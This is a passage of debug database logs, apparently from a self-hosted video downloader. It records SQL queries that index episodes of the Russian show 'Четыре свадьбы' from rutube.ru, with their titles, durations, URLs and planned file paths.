s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.171 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=39.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-26 19:03:37Z], 1] 14:36:15.175 [debug] QUERY OK source="media_items" db=2.2ms idle=37.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Столичный шик против деревенского гламура", "8fdbcdd1-1f63-433d-a7a7-40c6dbbed328", "f2e473105883d042453d956b2f07297e", 30, false, "https://rutube.ru/video/f2e473105883d042453d956b2f07297e/", 24, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e072600 - Столичный шик против деревенского гламура.mp4", false, false, false, 1, [], 1, ~U[2019-07-26 19:03:37Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Столичный шик против деревенского гламура", "f2e473105883d042453d956b2f07297e", 30, false, "https://rutube.ru/video/f2e473105883d042453d956b2f07297e/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e072600 - Столичный шик против деревенского гламура.mp4", false, 1, ~U[2019-07-26 19:03:37Z]] 14:36:15.187 [debug] QUERY OK source="sources" db=12.0ms idle=39.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.190 [debug] QUERY OK source="media_items" db=1.9ms idle=29.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-03 14:41:26Z], 1] 14:36:15.205 [debug] QUERY OK source="media_items" db=13.8ms idle=20.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В шоке", "2d23927f-2d8e-4f5a-accb-ea81cbfe0f8f", "f65fab8377e40b7e31e01773e49c67ad", 15, false, "https://rutube.ru/video/f65fab8377e40b7e31e01773e49c67ad/", 25, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070300 - В шоке.mp4", false, false, false, 1, [], 2, ~U[2019-07-03 14:41:26Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "В шоке", "f65fab8377e40b7e31e01773e49c67ad", 15, false, "https://rutube.ru/video/f65fab8377e40b7e31e01773e49c67ad/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070300 - В шоке.mp4", false, 1, ~U[2019-07-03 14:41:26Z]] 14:36:15.207 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=33.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.207 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=32.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-16 13:08:25Z], 1] 14:36:15.233 [debug] QUERY OK source="media_items" db=23.7ms idle=21.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Тост", "d34dabb0-abcb-4948-a942-c363204752f8", "f8173b7daa8a3c8dfc43e3f69f6384dd", 30, false, "https://rutube.ru/video/f8173b7daa8a3c8dfc43e3f69f6384dd/", 26, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Тост.mp4", false, false, false, 1, [], 3, ~U[2018-10-16 13:08:25Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Тост", "f8173b7daa8a3c8dfc43e3f69f6384dd", 30, false, "https://rutube.ru/video/f8173b7daa8a3c8dfc43e3f69f6384dd/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Тост.mp4", false, 1, ~U[2018-10-16 13:08:25Z]] 14:36:15.235 [debug] QUERY OK source="sources" db=1.5ms idle=43.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.236 [debug] QUERY OK source="media_items" db=1.3ms idle=30.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-30 20:03:04Z], 1] 14:36:15.262 [debug] QUERY OK source="media_items" db=25.1ms idle=30.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Все пошло не по плану", "bdaf461b-e62d-4157-a913-9a4254a3d7f7", "fdc80b1ae6758b2c714084dc6a8dac85", 25, false, "https://rutube.ru/video/fdc80b1ae6758b2c714084dc6a8dac85/", 27, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e083000 - Все пошло не по плану.mp4", false, false, false, 1, [], 1, ~U[2019-08-30 20:03:04Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Все пошло не по плану", "fdc80b1ae6758b2c714084dc6a8dac85", 25, false, "https://rutube.ru/video/fdc80b1ae6758b2c714084dc6a8dac85/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e083000 - Все пошло не по плану.mp4", false, 1, ~U[2019-08-30 20:03:04Z]] 14:36:15.264 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=55.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.265 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=32.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-02 13:55:09Z], 1] 14:36:15.285 [debug] QUERY OK source="media_items" db=19.3ms idle=31.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Фильм ужасов", "75432f1b-5a88-4a78-b29e-f7d904b37180", "fe8fd648ba8fc8e6030d9395688395ab", 25, false, "https://rutube.ru/video/fe8fd648ba8fc8e6030d9395688395ab/", 28, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e080200 - Фильм ужасов.mp4", false, false, false, 1, [], 1, ~U[2019-08-02 13:55:09Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Фильм ужасов", "fe8fd648ba8fc8e6030d9395688395ab", 25, false, "https://rutube.ru/video/fe8fd648ba8fc8e6030d9395688395ab/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e080200 - Фильм ужасов.mp4", false, 1, ~U[2019-08-02 13:55:09Z]] 14:36:15.287 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=49.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.289 [debug] QUERY OK source="media_items" db=1.2ms idle=25.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-09 14:15:42Z], 1] 14:36:15.302 [debug] QUERY OK source="media_items" db=10.9ms idle=26.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы. Премьера. Каждый вторник 19:00", "73faf644-7264-4105-8328-8e4d50c03f61", "4829505f0908adb98af1a73ba46d13c2", 20, false, "https://rutube.ru/video/4829505f0908adb98af1a73ba46d13c2/", 29, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e100900 - Четыре свадьбы. Премьера. Каждый вторник 19_00.mp4", false, false, false, 1, [], 1, ~U[2018-10-09 14:15:42Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Четыре свадьбы. Премьера. Каждый вторник 19:00", "4829505f0908adb98af1a73ba46d13c2", 20, false, "https://rutube.ru/video/4829505f0908adb98af1a73ba46d13c2/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e100900 - Четыре свадьбы. Премьера. Каждый вторник 19_00.mp4", false, 1, ~U[2018-10-09 14:15:42Z]] 14:36:15.318 [debug] QUERY OK source="sources" db=15.6ms idle=36.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.320 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=33.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-09-08 02:00:31Z], 1] 14:36:15.324 [debug] QUERY OK source="media_items" db=3.4ms idle=32.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Мы побываем на свадьбах четырех невест – Наташи, Даши, Ани и Алины. Наташа из Нарьян-Мара устроит годовщину свадьбы в традиционном ненецком стиле с танцами и шаманскими обрядами. У тиктокера Даши будет современная свадьба в Тюмени. Студентка Аня из Рязани удивит всех свадьбой в медицинской тематике. Певица Алина из Севастополя приглашает на классическую свадьбу на берегу моря. Какие сюрпризы подготовили участницы, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Серия 11", "f1943626-22a4-48fb-a2a3-682639b18786", "af6906a6c0fbfdd2ea21babc1abf42b0", 4162, false, "https://rutube.ru/video/af6906a6c0fbfdd2ea21babc1abf42b0/", 30, "/downloads/rutubeShows/4 Свадьбы/Season 2021/s2021e090800 - Четыре свадьбы: Серия 11.mp4", false, false, false, 1, [], 2, ~U[2021-09-08 02:00:31Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "Мы побываем на свадьбах четырех невест – Наташи, Даши, Ани и Алины. Наташа из Нарьян-Мара устроит годовщину свадьбы в традиционном ненецком стиле с танцами и шаманскими обрядами. У тиктокера Даши будет современная свадьба в Тюмени. Студентка Аня из Рязани удивит всех свадьбой в медицинской тематике. Певица Алина из Севастополя приглашает на классическую свадьбу на берегу моря. Какие сюрпризы подготовили участницы, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Серия 11", "af6906a6c0fbfdd2ea21babc1abf42b0", 4162, false, "https://rutube.ru/video/af6906a6c0fbfdd2ea21babc1abf42b0/", "/downloads/rutubeShows/4 Свадьбы/Season 2021/s2021e090800 - Четыре свадьбы: Серия 11.mp4", false, 1, ~U[2021-09-08 02:00:31Z]] 14:36:15.335 [debug] QUERY OK source="sources" db=10.3ms idle=35.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.338 [debug] QUERY OK source="media_items" db=0.9ms idle=34.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-09-08 02:04:42Z], 1] 14:36:15.357 [debug] QUERY OK source="media_items" db=18.2ms idle=19.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 2", "161ca40f-0266-422f-922e-8fd4b0859013", "86c2849c8769cd84b11333b01695baea", 4805, false, "https://rutube.ru/video/86c2849c8769cd84b11333b01695baea/", 31, "/downloads/rutubeShows/4 Свадьбы/Season 2021/s2021e090800 - Четыре свадьбы: Серия 2.mp4", false, false, false, 1, [], 2, ~U[2021-09-08 02:04:42Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Четыре свадьбы: Серия 2", "86c2849c8769cd84b11333b01695baea", 4805, false, "https://rutube.ru/video/86c2849c8769cd84b11333b01695baea/", "/downloads/rutubeShows/4 Свадьбы/Season 2021/s2021e090800 - Четыре свадьбы: Серия 2.mp4", false, 1, ~U[2021-09-08 02:04:42Z]] 14:36:15.359 [debug] QUERY OK source="sources" db=1.8ms idle=37.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.361 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=24.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-11 20:20:04Z], 1] 14:36:15.386 [debug] QUERY OK source="media_items" db=23.4ms idle=25.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 15", "2b5e6088-a597-4d0d-9e04-da4ee6e41277", "99e5ecfb56cd264c1a9bd803938deeae", 5152, false, "https://rutube.ru/video/99e5ecfb56cd264c1a9bd803938deeae/", 32, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e011100 - Четыре свадьбы: Серия 15.mp4", false, false, false, 1, [], 1, ~U[2022-01-11 20:20:04Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Четыре свадьбы: Серия 15", "99e5ecfb56cd264c1a9bd803938deeae", 5152, false, "https://rutube.ru/video/99e5ecfb56cd264c1a9bd803938deeae/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e011100 - Четыре свадьбы: Серия 15.mp4", false, 1, ~U[2022-01-11 20:20:04Z]] 14:36:15.388 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=29.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.389 [debug] QUERY OK source="media_items" db=0.6ms idle=29.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-10 13:20:28Z], 1] 14:36:15.407 [debug] QUERY OK source="media_items" db=17.6ms idle=28.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 10", "78fe06f3-dd1d-4c9f-ad40-c95c1efd425f", "0c634311179e366db016b791bd557186", 4790, false, "https://rutube.ru/video/0c634311179e366db016b791bd557186/", 33, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e011000 - Четыре свадьбы: Серия 10.mp4", false, false, false, 1, [], 1, ~U[2022-01-10 13:20:28Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Четыре свадьбы: Серия 10", "0c634311179e366db016b791bd557186", 4790, false, "https://rutube.ru/video/0c634311179e366db016b791bd557186/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e011000 - Четыре свадьбы: Серия 10.mp4", false, 1, ~U[2022-01-10 13:20:28Z]] 14:36:15.420 [debug] QUERY OK source="sources" db=11.9ms queue=0.1ms idle=45.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.421 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=34.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-25 19:00:05Z], 1] 14:36:15.443 [debug] QUERY OK source="media_items" db=20.9ms idle=33.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 18", "249ff651-bf68-4c2c-873e-d660de45c45c", "704ddf93bfadaf1231c178ad877d18a6", 4938, false, "https://rutube.ru/video/704ddf93bfadaf1231c178ad877d18a6/", 34, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e012500 - Четыре свадьбы: Серия 18.mp4", false, false, false, 1, [], 1, ~U[2022-01-25 19:00:05Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Четыре свадьбы: Серия 18", "704ddf93bfadaf1231c178ad877d18a6", 4938, false, "https://rutube.ru/video/704ddf93bfadaf1231c178ad877d18a6/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e012500 - Четыре свадьбы: Серия 18.mp4", false, 1, ~U[2022-01-25 19:00:05Z]] 14:36:15.445 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=54.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:15.449 [debug] QUERY OK source="media_items" db=2.2ms queue=0.3ms idle=38.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-28 00:20:23Z], 1] 14:36:15.483 [debug] QUERY OK source="media_items" db=31.6ms queue=0.1ms idle=30.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Серия 19", "1850bebf-dd1e-4f6a-a7cb-141644830e4b", "822ef5a609a1b23c0c5249f331bb7ccf", 4927, false, "https://rutube.ru/video/822ef5a609a1b23c0c5249f331bb7ccf/", 35, "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e012800 - Четыре свадьбы: Серия 19.mp4", false, false, false, 1, [], 1, ~U[2022-01-28 00:20:23Z], ~U[2025-12-09 11:36:15Z], ~U[2025-12-09 11:36:15Z], "", "Четыре свадьбы: Серия 19", "822ef5a609a1b23c0c5249f331bb7ccf", 4927, false, "https://rutube.ru/video/822ef5a609a1b23c0c5249f331bb7ccf/", "/downloads/rutubeShows/4 Свадьбы/Season 2022/s2022e012800 - Четыре свадьбы: Серия 19.mp4", false, 1, ~U[2022-01-28 00:20:23Z]] 14:36:15.485 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=62.4ms SELECT s0."id", 